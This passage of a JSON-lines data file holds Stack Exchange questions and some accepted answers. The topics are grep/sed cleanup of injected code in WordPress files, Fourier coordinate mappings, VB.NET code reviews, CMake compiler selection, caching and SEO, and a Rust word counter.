of vim."  } 
{  "id": "_unix.267613"  , "question": "Someone put a lot of malicious code onto every single wordpress instance on my server. For the second time. (At least) Every js file has been modified. There is a pattern though, the code always looks like this: /*[file-name]*/[malicious code]/*file-name*/is there any way that I could use grep and sed to get rid of those fragments? A previous attack put similar code in the files, which I got rid of using grep -rnwl './' -e [/*]d754948f7cc08347e64716505bd652ae[*/].*[/*]d754948f7cc08347e64716505bd652ae[*/] | xargs sed -i s/[/*]d754948f7cc08347e64716505bd652ae[*/].*[/*]d754948f7cc08347e64716505bd652ae[*/]//gis there any way to modify this exprssion to use each file name instead of a fixed string like d754948f7cc08347e64716505bd652ae?"  , "title": "Search file name within file"  , "tags": "sed;grep;regular expression;wordpress;javascript"  } 
{  "id": "_scicomp.18911"  , "question": "My question concerns coordinate maps and non-equally spaced fourier transforms.I have dependent variables $(X(\\xi),Y(\\xi))$, where $\\xi\\in(0,2\\pi)$. In general, $Y$ is assumed even and expanded as a Fourier series, ie$$Y(\\xi) = \\sum_{k=-N}^{N} Y_k e^{-ik\\xi},$$where $N$ is taken to tend towards infinity and the reality condition implies $Y_{-k} = Y_k$Now, my governing equations are derived from a lagrangian. I won't go into the full details of it, since they are anscillary for the question, but it is illustrative to look at the potential energy term, V, which takes the form$$V=\\int_0^{2\\pi} Y(\\xi)^2 \\frac{dX(\\xi)}{d\\xi} \\ d\\xi,$$with $X-\\xi$ being the Hilbert transform of $Y$ (because (X,Y) are real and imaginary parts of an analytic function in $\\mathbb{C}$). That is, $$X = \\xi + \\sum i \\sigma_k Y_k e^{-ik\\xi},$$with $\\sigma_i$ being 1 for $i>0$, 0 when $i=0$, and -1 when $i<0$.   Substituting in the Fourier expansion, $V$ can be written entirely in terms of the $Y_k$s. The Euler-Larange equations then returns a set of governing (algebraic) equations are found and a system of equations is solved for a given $N$. It turns out that for the solutions I desire, the series converges very slowly, and this has to do with the fact that $Y(\\xi)$ is very localized. After going through Boyd's book (in particular, see chapter 16), it seems like one way to deal with this is to map the independent variable into a different, non-uniformly spaced map. One example is to send $$\\xi\\to \\theta-sin(\\theta)$$ (Boyd calls this a Kepler mapping), for $\\theta \\in(0,2\\pi)$, which will tend to crowd more points towards the ends of the domain, which is where my functions are localized. This seems promising to me, and I would like to pursue it. To this end, I take a change of coordinates at the level of the integral $V$, shown above, to find $$V = \\int_0^{2\\pi} Y(\\theta)^2 \\frac{d X(\\theta)}{d \\theta} \\ d\\theta$$.From here it is unclear to me how one takes a Fourier type expansion (needed to allow for the easy computation of the Hilbert transform) on this non-uniform grid. Any suggestions would be greatly appreciated,Nick "  , "title": "Coordinate transformations and analytic form of non-uniformly gridded fourier transform"  , "tags": "fourier transform"  , "accepted_answer": "Unless I'm missing something obvious, if you transform $Y=Y_\\xi(\\xi)$ to use $Y=Y_\\theta(\\theta) = Y_\\xi(\\theta-\\sin\\theta)$, then the function $w(\\xi)=X(\\xi)+iY(\\xi)$, which, as you say, was analytic in $\\xi$, would be analytic in $\\theta$ also, with $w(\\theta) = w(\\xi=\\theta-\\sin\\theta)$, so that whatever Fourier series $Y(\\theta)$ has w.r.t. $\\theta$, $X$ would have the same expression as before in terms of the new variable $\\theta$ and the new Forier coefficients $Y_k^{(\\theta)}$ (it's a generic expression, independent of the coordinates being used to write it down).This is assuming that the rest of your equations can be rewritten in terms of $\\theta$ as well: I don't know a good way to relate two Fourier series obtained by a change of variable. But this is not the same as doing a discrete Fourier transform on a non-uniform grid, anyway, because you seem to be using a Galerkin-type method, and evaluating all the necessary integrals in closed form by hand. In fact, I don't quite see where in your question a discrete Fourier transform is being used."  } 
{  "id": "_codereview.86876"  , "question": "I work on a .NET application that very loosely follows an n-tier kind of architecture (the business objects (not logic) and data access are split out). We are now looking to start refactoring the code into an MVP architecture. Based on some previous work done by someone else, I just refactored a screen into what I hope is MVP.The form code:Imports System.Windows.FormsImports ExceptionLibrary.UIExceptionCatcherImports BusinessEntity.OEImports OurClient.MainModule.Constants<System.ComponentModel.ToolboxItem(False)> _Partial Public Class AutoService    Inherits UILibrary.CustomViewControl    Implements IAutoService    Private _objAutoServiceBE As New AutoServiceBE    Private _isEditMode As Boolean    Private _intCurrentUserId As Integer    Private _intNewAddedAutoServiceId As Integer    Private _intAutoServiceID As Integer    Public Event Close(ByVal sender As Object, ByVal e As EventArgs) Implements IAutoService.Close    Public Event Save(ByVal sender As Object, ByVal e As EventArgs) Implements IAutoService.Save    Public Event FormLoad(ByVal e As EventArgs) Implements IAutoService.ViewLoad    Public Property AutoService As BusinessEntity.OE.AutoServiceBE Implements IAutoService.AutoService        Get            Return _objAutoServiceBE        End Get        Set(value As BusinessEntity.OE.AutoServiceBE)            _objAutoServiceBE = value        End Set    End Property    Public Property AutoServiceCode As String Implements IAutoService.AutoServiceCode        Get            Return txtCode.Text        End Get        Set(value As String)            txtCode.Text = value        End Set    End Property    Public Property AutoServiceName As String Implements IAutoService.AutoServiceName        Get            Return txtName.Text        End Get        Set(value As String)            txtName.Text = value        End Set    End Property    Public Property AutoServiceID() As Integer Implements IAutoService.AutoServiceID        Get            Return _intAutoServiceID        End Get        Set(ByVal value As Integer)            _intAutoServiceID = value        End Set    End Property    Public Property AutoServiceTypeList As IList(Of BusinessEntity.OE.AutoServiceBE) Implements IAutoService.AutoServiceTypeList        Get            Return cboAutoServiceType.DataSource        End Get        Set(value As IList(Of BusinessEntity.OE.AutoServiceBE))            With cboAutoServiceType                .DisplayMember = AutoServiceTypeName                .ValueMember = AutoServiceTypeID                .DataSource = value                .SelectedItem = Me.SelectedAutoServiceType            End With        End Set    End Property    Public Property CursorType As Cursor Implements IAutoService.CursorType        Get            Return Me.Cursor        End Get        Set(value As Cursor)            Me.Cursor = value        End Set    End Property    Public Property ViewDisplayModeType As UILibrary.CustomViewControl.ViewDisplayMode Implements IAutoService.ViewDisplayMode        Get            Return Me.DisplayMode        End Get        Set(value As UILibrary.CustomViewControl.ViewDisplayMode)            Me.DisplayMode = value        End Set    End Property    Public Property EditMode() As String Implements IAutoService.EditMode        Get            Return _isEditMode        End Get        Set(ByVal value As String)            _isEditMode = value        End Set    End Property    Public Property NewAddedAutoServiceId() As Integer Implements IAutoService.NewAddedAutoServiceId        Get            Return _intNewAddedAutoServiceId        End Get        Set(ByVal value As Integer)            _intNewAddedAutoServiceId = value        End Set    End Property    Public Property IsNameSelected As Boolean Implements IAutoService.IsNameSelected        Get            Return txtName.Focused        End Get        Set(value As Boolean)            txtName.Focus()            txtName.SelectAll()        End Set    End Property    Public WriteOnly Property IsNameFailed As Boolean Implements IAutoService.IsNameFailed        Set(value As Boolean)            ShowFailFrame(txtName)        End Set    End Property    Public Property IsCodeSelected As Boolean Implements IAutoService.IsCodeSelected        Get            Return txtCode.Focused        End Get        Set(value As Boolean)            txtCode.Focus()            txtCode.SelectAll()        End Set    End Property    Public WriteOnly Property IsCodeFailed As Boolean Implements IAutoService.IsCodeFailed        Set(value As Boolean)            ShowFailFrame(txtCode)        End Set    End Property    Public Property PvcCloseResult As DialogResult Implements IAutoService.PvcCloseResult        Get            Return CloseResult        End Get        Set(value As DialogResult)            CloseResult = value        End Set    End Property    Public Property PvcIsViewDirty As Boolean Implements IAutoService.PvcIsViewDirty        Get            Return IsViewDirty        End Get        Set(value As Boolean)            IsViewDirty = value        End Set    End Property    Public ReadOnly Property PvcValidateRequiredFields As Boolean Implements IAutoService.PvcValidateRequiredFields        Get            Return ValidateRequiredFields()        End Get    End Property    Public WriteOnly Property PvcSaveCallback As [Delegate] Implements IAutoService.PvcSaveCallback        Set(value As [Delegate])            CallbackFunctionForSave = value        End Set    End Property    Public Property UserID As Integer Implements IAutoService.UserID        Get            Return _intCurrentUserId        End Get        Set(value As Integer)            _intCurrentUserId = value        End Set    End Property    Public Property SelectedAutoServiceType As BusinessEntity.OE.AutoServiceBE Implements IAutoService.SelectedAutoServiceType        Get            Return cboAutoServiceType.SelectedItem        End Get        Set(value As BusinessEntity.OE.AutoServiceBE)            cboAutoServiceType.SelectedItem = value        End Set    End Property    Public Sub New()        InitializeComponent()    End Sub    Protected Overrides Sub OnLoad(ByVal e As EventArgs)        Try            _presenter.OnViewReady()            MyBase.OnLoad(e)            Cursor = Cursors.WaitCursor            Hide()            TitleBarText = AutoService            DisplayStyle = ViewDisplayStyle.DialogBox            ViewAcceptButton = btnSave            ViewCancelButton = btnClose            Me.UserID = SQLDataServices.GlobalUserID            Me.AutoService.CreateUserID = Me.UserID            AddHandlers()            InitializeDirtyTracking()            InitializeValidationTracking()            RaiseEvent FormLoad(e)            cboAutoServiceType.Select()        Catch ex As Exception            HandleException(ex, Me.ToString, OnLoad, True, True)            Me.Enabled = False        Finally            Me.Show()            Cursor = Cursors.Default        End Try    End Sub    Private Sub OnClick_btnSave(ByVal sender As System.Object, ByVal e As System.EventArgs)        RaiseEvent Save(sender, e)    End Sub    Private Sub OnClick_btnClose(ByVal sender As System.Object, ByVal e As System.EventArgs)        CloseResult = DialogResult.Cancel        RaiseEvent Close(sender, e)        Me.ParentForm.Close()    End Sub    Private Sub AddHandlers()        AddHandler btnSave.Click, AddressOf OnClick_btnSave        AddHandler btnClose.Click, AddressOf OnClick_btnClose    End Sub    Private Sub InitializeDirtyTracking()        IsViewDirty = False        AddToDirtyTracker(cboAutoServiceType)        AddToDirtyTracker(txtName)        AddToDirtyTracker(txtCode)    End Sub    Private Sub InitializeValidationTracking()        AddToValidationTracker(cboAutoServiceType)        AddToValidationTracker(txtName)        AddToValidationTracker(txtCode)    End Sub    Private Sub SaveToDB() Implements IAutoService.SaveToDB        RaiseEvent Save(Me, Nothing)    End Sub    Public Sub ShowView() Implements IAutoService.Show        ViewServices.ShowSmartPart(Me, WorkspaceNames.MDIWorkspace, True)    End Sub    Public Sub CloseView() Implements IAutoService.CloseView        RaiseEvent Close(Me, Nothing)        Me.ParentForm.Close()    End SubEnd ClassThe presenter code:Imports System.Windows.FormsImports CommonUILibrary.UserMessageImports ExceptionLibrary.UIExceptionCatcherImports OurClient.Infrastructure.InterfacePartial Public Class AutoServicePresenter    Inherits Presenter(Of IAutoService)    Private _dataService As IAutoServiceDataService    Public Overrides Sub OnViewReady()        MyBase.OnViewReady()    End Sub    Public Sub SubscribeToEvents()        AddHandler View.Close, AddressOf OnClose        AddHandler View.Save, AddressOf OnSave        AddHandler View.ViewLoad, AddressOf OnViewLoad    End Sub    Public Sub OnClose(ByVal sender As Object, ByVal e As EventArgs)    End Sub    Public Sub OnSave(ByVal sender As Object, ByVal e As EventArgs)        View.CursorType = Cursors.WaitCursor        Try            If SaveToDatabase() Then                View.PvcCloseResult = DialogResult.OK                View.CloseView()            End If        Catch ex As Exception            HandleException(ex, Me.ToString, OnClick_btnSave, True, True)        Finally            View.CursorType = Cursors.Default        End Try    End Sub    Public Sub OnViewLoad(e As EventArgs)        View.AutoServiceTypeList = _dataService.GetAutoServiceTypes()        If View.ViewDisplayMode = ViewDisplayMode.Edit Then            View.AutoService = _dataService.GetAutoService(View.AutoServiceID)            View.AutoServiceName = View.AutoService.AutoServiceName            View.AutoServiceCode = View.AutoService.AutoServiceCode            View.SelectedAutoServiceType = _dataService.GetAutoServiceType(View.AutoServiceTypeList, View.AutoService.AutoServiceTypeID)        Else            View.AutoServiceName =             View.AutoServiceCode =             View.SelectedAutoServiceType = _dataService.GetAutoServiceType(View.AutoServiceTypeList, View.AutoService.AutoServiceTypeID)        End If    End Sub    Public Sub UpdateGridView()        If WorkItem.SmartParts.Contains(AutoServiceNames) Then            Dim objSetupAutoServiceNames As SetupAutoServiceNames = WorkItem.SmartParts.Get(Of SetupAutoServiceNames)(AutoServiceNames)            objSetupAutoServiceNames.OnPopulateGrid()        End If    End Sub    Private Function SaveToDatabase() As Boolean        Dim intResult As Integer = -1        If ValidateView() Then            SetViewDataToBE()            If View.ViewDisplayMode = ViewDisplayMode.Add Then      'new autoservice                intResult = _dataService.AddAutoService(View.AutoService)                If intResult > 0 Then                    UpdateGridView()                    AppDataCache.UpdateCache(AppDataCache.SubjectAreaName.OrderEntry, True)                    View.PvcIsViewDirty = False                    ShowInformation(Auto Service added successfully.)                ElseIf intResult = -1 Then                    View.IsNameFailed = True                    ShowWarning(An Auto Service with the same name already exists.)                    View.IsNameSelected = True                ElseIf intResult = -2 Then                    View.IsCodeFailed = True                    ShowWarning(An Auto Service with the same code already exists.)                    View.IsCodeSelected = True                ElseIf intResult = -3 Then                    View.IsNameFailed = True                    ShowInformation(Please call the help desk to reuse the Auto Service Name for this Auto Service Type.)                    View.IsNameSelected = True                ElseIf intResult = -4 Then                    View.IsCodeFailed = True                    ShowInformation(Please call the help desk to reuse the Auto Service Code for this Auto Service Type.)                    View.IsCodeSelected = True                Else                    ShowWarning(Failed to add the Auto Service.)                End If            Else : View.ViewDisplayMode = ViewDisplayMode.Edit      'autoservice in edit mode                intResult = _dataService.EditAutoService(View.AutoService)                If intResult > 0 Then                    UpdateGridView()                    AppDataCache.UpdateCache(AppDataCache.SubjectAreaName.OrderEntry, True)                    View.PvcIsViewDirty = False                    ShowInformation(Auto Service updated successfully.)                ElseIf intResult = -1 Then                    View.IsNameFailed = True                    ShowWarning(An Auto Service with the same name already exists.)                    View.IsNameSelected = True                ElseIf intResult = -2 Then                    View.IsCodeFailed = True                    ShowWarning(An Auto Service with the same code already exists.)                    View.IsCodeSelected = True                ElseIf intResult = -3 Then                    View.IsNameFailed = True                    ShowWarning(Please call the help desk to reuse the Auto Service Name for this Auto Service Type.)                    View.IsNameSelected = True                ElseIf intResult = -4 Then                    View.IsCodeFailed = True                    ShowWarning(Please call the help desk to reuse the Auto Service Code for this Auto Service Type.)                    View.IsCodeSelected = True                Else                    ShowWarning(Failed to update the Auto Service.)                End If            End If        End If        View.NewAddedAutoServiceId = intResult        Return (intResult > 0)    End Function    Public Function ValidateView() As Boolean        Dim blnReturn As Boolean = True        If View.PvcValidateRequiredFields Then            'All' Name should not be created            If (View.AutoServiceName.Trim.ToLower = All.ToLower) Then                View.IsNameFailed = True                ShowWarning(Auto Service Name cannot be +  ' + View.AutoServiceName + ' )                View.IsNameSelected = True                blnReturn = False            End If        Else            blnReturn = False        End If        Return blnReturn    End Function    Private Sub SetViewDataToBE()        'assigning control values to the object        With View.AutoService            .AutoServiceName = View.AutoServiceName            .AutoServiceCode = View.AutoServiceCode            If View.SelectedAutoServiceType IsNot Nothing Then                .AutoServiceTypeID = View.SelectedAutoServiceType.AutoServiceTypeID            End If            .AutoServiceID = View.AutoServiceID            .CreateUserID = View.UserID        End With        If View.ViewDisplayMode = ViewDisplayMode.Add And View.SelectedAutoServiceType IsNot Nothing Then            View.AutoServiceTypeList.Add(View.SelectedAutoServiceType)        End If    End Sub    Public Sub New()        MyBase.New()        _dataService = New AutoServiceDataService    End SubEnd ClassThe DataService code:Public Class AutoServiceDataService    Implements IAutoServiceDataService    Public Function AddAutoService(ByRef objAutoServiceBE As BusinessEntity.OE.AutoServiceBE) As Integer Implements IAutoServiceDataService.AddAutoService        Dim intReturn As Integer = 0        intReturn = OurClientDAL.OEService.AutoServiceNameDAL.InsertAutoService(objAutoServiceBE)        Return intReturn    End Function    Public Function EditAutoService(ByRef objAutoServiceBE As BusinessEntity.OE.AutoServiceBE) As Integer Implements IAutoServiceDataService.EditAutoService        Dim intReturn As Integer = 0        intReturn = OurClientDAL.OEService.AutoServiceNameDAL.UpdateAutoService(objAutoServiceBE)        Return intReturn    End Function    Public Function GetAutoService(intAutoServiceID As Integer) As BusinessEntity.OE.AutoServiceBE Implements IAutoServiceDataService.GetAutoService        Return OurClientDAL.OEService.AutoServiceNameDAL.GetAutoServiceByID(intAutoServiceID)    End Function    Public Function GetAutoServiceType(ByVal lstAutoService As List(Of BusinessEntity.OE.AutoServiceBE), _                                       ByVal intAutoServiceTypeID As Integer) As BusinessEntity.OE.AutoServiceBE Implements IAutoServiceDataService.GetAutoServiceType        Dim objReturn As New BusinessEntity.OE.AutoServiceBE        For Each objAutoService As BusinessEntity.OE.AutoServiceBE In lstAutoService            If objAutoService.AutoServiceTypeID = intAutoServiceTypeID Then                objReturn = objAutoService                Exit For            End If        Next        Return objReturn    End Function    Public Function GetAutoServiceTypes() As IList(Of BusinessEntity.OE.AutoServiceBE) Implements IAutoServiceDataService.GetAutoServiceTypes        Return OurClientDAL.OEService.AutoServiceNameDAL.GetAutoServiceType()    End FunctionEnd ClassI initially asked a similar question over at Stack Overflow, though it garnered little attention.  I have reprhased it in the context of a code review so I can make sure that I am doing this right."  , "title": "Model-View-Presenter"  , "tags": "vb.net;mvp"  } 
{  "id": "_unix.253567"  , "question": "Given the following made-up segment from an output file from hashdeep:7241,11111111111111111111111111111111,\\01-data\\file11237241,22222222222222222222222222222222,\\01-data\\file241,33333333333333333333333333333333,\\01-data\\file3How would I get about it to format it like:   7241,11111111111111111111111111111111,\\01-data\\file11237241,22222222222222222222222222222222,\\01-data\\file2     41,33333333333333333333333333333333,\\01-data\\file3I'd like to use sed (as that's what I'm beginning to get to grips with), but is there a way to tell sed to only change characters if they occur in a specific column or specific columns? Of course if there is another way to do it, I'd be just as happy to hear about that.The reason for this is that I want to sort the output on the filenames, so that I can compare two output files, without having to use the -j0 (single-thread) option on hashdeep."  , "title": "CSV columnar reformat with SED (or anything other coreutil)"  , "tags": "text processing;sed"  } 
{  "id": "_codereview.140959"  , "question": "I've been wanting to go async with my HTTP calls but all the methods I tried have not worked, so I resolved to implement this as a task and then improve upon it.This is what I've come up with so far. Any noticeable improvements or unused techniques to make this go even faster and still produce viable images?Public Shared Sub ProcessFolder(targetFolder As String)    Dim ListParams As New List(Of ImgThreadParams)()    Dim gtin As String = vbNullString    Dim files = GetXlsxFiles(targetFolder)    Dim excel As Application = New Application()    Try        For Each fileName As String In files            'Dim book = New LinqToExcel.ExcelQueryFactory(System.IO.Path.GetFileName(fileName))            Dim w As Workbook = excel.Workbooks.Open(fileName)            ' Get sheet.            Dim sheet As Worksheet = w.Sheets(1)            ' Get range.            Dim r As Range = sheet.UsedRange()            'move range to 2d array            Dim rArray(,) As Object = r.Value(XlRangeValueDataType.xlRangeValueDefault)            'setup variables to hold column numbers for quick parsing in the next loop             Dim GtinC As Integer = 0            Dim Img1 As Integer = 0            Dim Img2 As Integer = 0            Dim Img3 As Integer = 0            Dim Img4 As Integer = 0            Dim Img5 As Integer = 0            Dim Img6 As Integer = 0            Dim Img7 As Integer = 0            Dim Img8 As Integer = 0            Dim Img9 As Integer = 0            Dim Img10 As Integer = 0            Dim ic As Integer = 0            'pull the desired data from the range without looping over undesired data.            For j As Integer = 1 To r.Columns.Count()                If rArray(4, j).ToString().StartsWith(GTIN) Then                    GtinC = j                ElseIf rArray(4, j).ToString.StartsWith(Image) And Not rArray(4, j).ToString().EndsWith(Description) And Not rArray(4, j).ToString().Contains(File) Then                    ic = ic + 1                    Select Case ic                        Case 1                            Img1 = j                        Case 2                            Img2 = j                        Case 3                            Img3 = j                        Case 4                            Img4 = j                        Case 5                            Img5 = j                        Case 6                            Img6 = j                        Case 7                            Img7 = j                        Case 8                            Img8 = j                        Case 9                            Img9 = j                        Case 10                            Img10 = j                        Case Else                            Exit Select                    End Select                End If            Next            Dim additem As Boolean = False            'Do Some checking on the quality of the links passed..            For i As Integer = 5 To r.Rows.Count()                Dim itp As ImgThreadParams = New ImgThreadParams()                itp.gtin = rArray(i, GtinC)                If (rArray(i, Img1) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img1), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img1))                        additem = True                    End If                End If                If (rArray(i, Img2) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img2), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img2))                    End If                End If                If (rArray(i, Img3) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img3), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img3))                    End If                End If                If (rArray(i, Img4) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img4), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img4))                    End If                End If                If (rArray(i, Img5) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img5), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img5))                    End If                End If                If (rArray(i, Img6) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img6), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img6))                    End If                End If                If (rArray(i, Img7) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img7), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img7))                    End If                End If                If (rArray(i, Img8) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img8), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img8))                    End If                End If                If (rArray(i, Img9) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img9), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img9))                    End If                End If                If (rArray(i, Img10) IsNot Nothing) Then                    If (Uri.IsWellFormedUriString(rArray(i, Img3), UriKind.Absolute)) Then                        itp.lUrls.Add(rArray(i, Img10))                    End If                End If                If (additem = True) Then                    ListParams.Add(itp)                    additem = False                End If            Next            'Clean Up            rArray = Nothing            w.Close()            Runtime.InteropServices.Marshal.ReleaseComObject(r)            Runtime.InteropServices.Marshal.ReleaseComObject(sheet)            Runtime.InteropServices.Marshal.ReleaseComObject(w)            Runtime.InteropServices.Marshal.ReleaseComObject(excel)        Next        Dim Folder As DirectoryInfo = System.IO.Directory.CreateDirectory(System.IO.Directory.GetCurrentDirectory() + \\Image)        If ListParams.Count > 4 Then            Dim tCount As Integer = Math.Round(ListParams.Count / 10, MidpointRounding.ToEven)            Dim L1 As New List(Of ImgThreadParams)            For i As Integer = 0 To tCount                L1.Add(ListParams(i))            Next            Dim L2 As New List(Of ImgThreadParams)            For i As Integer = tCount + 1 To tCount * 2                L2.Add(ListParams(i))            Next            Dim L3 As New List(Of ImgThreadParams)            For i As Integer = tCount * 2 + 1 To tCount * 3                L3.Add(ListParams(i))            Next            Dim L4 As New List(Of ImgThreadParams)            For i As Integer = tCount * 3 + 1 To tCount * 4                L4.Add(ListParams(i))            Next            Dim L5 As New List(Of ImgThreadParams)            For i As Integer = tCount * 4 + 1 To tCount * 5                L5.Add(ListParams(i))            Next            Dim L6 As New List(Of ImgThreadParams)            For i As Integer = tCount * 5 + 1 To tCount * 6                L6.Add(ListParams(i))            Next            Dim L7 As New List(Of ImgThreadParams)            For i As Integer = tCount * 6 + 1 To tCount * 7                L7.Add(ListParams(i))            Next            Dim L8 As New List(Of ImgThreadParams)            For i As Integer = tCount * 7 + 1 To tCount * 8                L8.Add(ListParams(i))            Next            Dim L9 As New List(Of ImgThreadParams)            For i As Integer = tCount * 8 + 1 To tCount * 9                L9.Add(ListParams(i))            Next            Dim L10 As New List(Of ImgThreadParams)            For i As Integer = tCount * 9 + 1 To ListParams.Count - 1                L10.Add(ListParams(i))            Next            Dim t1, t2, t3, t4, t5, t6, t7, t8, t9, t10 As Threading.Thread            t1 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t2 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t3 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t4 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t5 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t6 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t7 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t8 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t9 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t10 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t1.Start(L1)            t2.Start(L2)            t3.Start(L3)            t4.Start(L4)            t5.Start(L5)            t6.Start(L6)            t7.Start(L7)            t8.Start(L8)            t9.Start(L9)            t10.Start(L10)        Else            Dim t1 As Threading.Thread            t1 = New Threading.Thread(AddressOf ThreadedGetGtinImages)            t1.Start(ListParams)        End If    Catch ex As Exception    End TryEnd SubPublic Shared pc As Integer = 1Public Shared imgCount As Integer = 1Public Shared Sub pCompleted()    Console.WriteLine((pc * 10).ToString() + % Completed)    pc = pc + 1End Sub'I am not entirely sure this is the proper way to iterate over a lists in a list but it seems to work..Public Shared Async Sub ThreadedGetGtinImages(ThreadParams As List(Of ImgThreadParams))    Dim items As IEnumerable(Of Task(Of Boolean)) = From item As ImgThreadParams In ThreadParams                                                    From url In item.lUrls                                                    Where url IsNot Nothing                                                    Select GetGtinImages(item.gtin, url)    Dim downloadItems As Task(Of Boolean)() = items.ToArray()    Dim bReturns As Boolean() = Await Task.WhenAll(downloadItems)    pCompleted()End SubPublic Shared Function GetGtinImages(sGTIN As String, sURL As String, Optional sFolder As String = ) As Task(Of Boolean)    Return Task.Factory.StartNew(Of Boolean)(        Function() As Boolean            Dim sFileExtension As String            Using wc As WebClient = New WebClient()                Dim myWebHeaderCollection As WebHeaderCollection                Try                    Dim dBytes As Byte() = wc.DownloadData(address:=sURL)                    If (wc.ResponseHeaders(HttpResponseHeader.ContentLength) > 0) Then                        myWebHeaderCollection = wc.ResponseHeaders                        Dim sContentType As String = myWebHeaderCollection.Get(Content-Type)                        If (sContentType.Length > 0) Then                            Dim sImageContents As String() = sContentType.Split(;)                            Dim sImage As String = sImageContents(0).Split(/)(0).ToLower                            Dim sImageType As String = sImageContents(0).Split(/)(1).ToLower                            If sImage.Equals(image) = True Then                                Select Case sImageType                                    Case jpeg                                        sFileExtension = .jpg                                    Case png                                        sFileExtension = .png                                    Case bmp                                        sFileExtension = .bmp                                    Case gif                                        sFileExtension = .gif                                    Case tiff                                        sFileExtension = .Tiff                                    Case Else                                        Return False                                End Select                                sFolder = System.IO.Directory.GetCurrentDirectory() + \\Image                                Using Fi As FileStream = New FileStream(sFolder + \\ + sGTIN + _ + imgCount.ToString + sFileExtension, FileMode.CreateNew)                                    Fi.Write(dBytes, 0, dBytes.Length)                                    Fi.Flush()                                    Fi.Close()                                End Using                                imgCount = imgCount + 1                                Return True                            End If                        End If                    End If                Catch ex As Exception                    wc.Dispose()                    Return False                End Try            End Using            Return True        End Function)End FunctionPublic Shared Sub Main()    ProcessFolder(System.IO.Directory.GetCurrentDirectory())    Console.ReadLine()End Sub"  , "title": "Multithreaded download of images from a spreadsheet"  , "tags": "multithreading;excel;vb.net;http;async await"  } 
{  "id": "_unix.381926"  , "question": "I have a rather big list(1million or so) and another huge list(17gb), I need to match the lines in list1 with the first part of a delimited file 2 as such:List1:98433259@3490345394@4394335053@23List254353456@35:nancy98433259@34:jack94335053@23:james32409533@86:robertOutput:98433259@34:jack94335053@23:jamesI have tried grep -Fwf list1 list2 but it is way too slowIs there any faster way to do this?"  , "title": "Matching lines from one file to lines in another file"  , "tags": "linux;awk;sed;grep;gawk"  } 
{  "id": "_unix.183622"  , "question": "I'm on Archx64 with bspwm as WM. I have both gcc and clang installed and updated to latest versions. I want build systems to ask me everytime to choose either g++ or clang ++ to compile.I need clang++ as default compiler for my own stuff , but I have cmake that usually chooses compilers on its own. So I exported C and CXX as clang and clang++ in .bashrc . Everything runs fine as expected, but the problem arises when I need to compile something with g++ and the program looks for /usr/bin/c++ and finds clang++ instead of g++. I need , everytime some program tries to compile its stuff , it could ask me beforehand , which compiler to use. Is it possible?My current method is to export each time and restart my machine :p which is insane amounts of stupidity."  , "title": "How to influence which compiler is chosen by build systems like CMake"  , "tags": "gcc;cmake"  , "accepted_answer": "There is no real general answer. If some tool insists on some tool it will do so.If setting environment variables works for you, there is no need to reboot. You can simply call your command like this:CXX=g++ cmake ...This will run cmake with the CXX environment variable set to g++.If you really want to do what you asked for you could replace /usr/bin/c++ (or whatever command is needed by your tool) by a shell script asking for the needed compiler and then calling that compiler. - But be really sure you know what you are doing if you decide to go that way."  } 
{  "id": "_webmaster.78060"  , "question": "What effect does turning off caching in all browsers have on SEO?"  , "title": "What effect does turning off caching in all browsers have on SEO?"  , "tags": "seo;cache;cache control"  , "accepted_answer": "It slows down your page loading speed which can potentially be a negative ranking signal."  } 
{  "id": "_codereview.127350"  , "question": "My goal is to read from standard input, break up the input into words, case-insensitively, and produce a report to standard output, where each line is a word followed by a space followed by its count. The output should be sorted by words.This is my code:use std::collections::BTreeMap;use std::io;use std::io::BufRead;fn main() {    let mut counts: BTreeMap<String, isize> = BTreeMap::new();    let stdin = io::stdin();    for line_result in stdin.lock().lines() {        match line_result {            Ok(line) => {                let lowercase_line = line.to_lowercase();                let words = lowercase_line.split(|c: char| {                     !(c.is_alphabetic() || c == '\\'')                 }).filter(|s| !s.is_empty());                 for word in words {                    *(counts.entry(word.to_string()).or_insert(0)) += 1;                 }            },            Err(e) => {                panic!(Error parsing stdin: {:?}, e);            }        }    }    for (key, value) in counts.iter() {        println!({} {}, key, value);    }}My questions are:Is BTree the proper dictionary?I know that there is a regex crate, but I would like to stay with things in standard Rust. That said, splitting is a terrible way to break up lines because you have to filter empties. Is there a way to just match the words, rather than splitting on non-word sequences?Is matching on the Err part of the result proper? Or should we let the script crash? Is panicking okay?I noticed one is not allowed to say let words = line.to_lowercase().split(...) because of the infamousborrowed reference does not live long enough` but is there a cleaner way?Is there a nicer way to count words in a map? I don't like the asterisk.I wish I didn't have to do an explicit lock on stdin.Rust has a lot of things going for it, but when I compare what I got to the much prettier Julia version of this script, namely...counts = Dict{AbstractString, UInt64}()for line in eachline(STDIN)  for word in matchall(r[a-z\\']+, lowercase(line))    counts[word] = get(counts, word, 0) + 1  endendfor (word, count) in sort(collect(counts))  println($word $count)end...I'm thinking I don't know Rust very well, or, that's 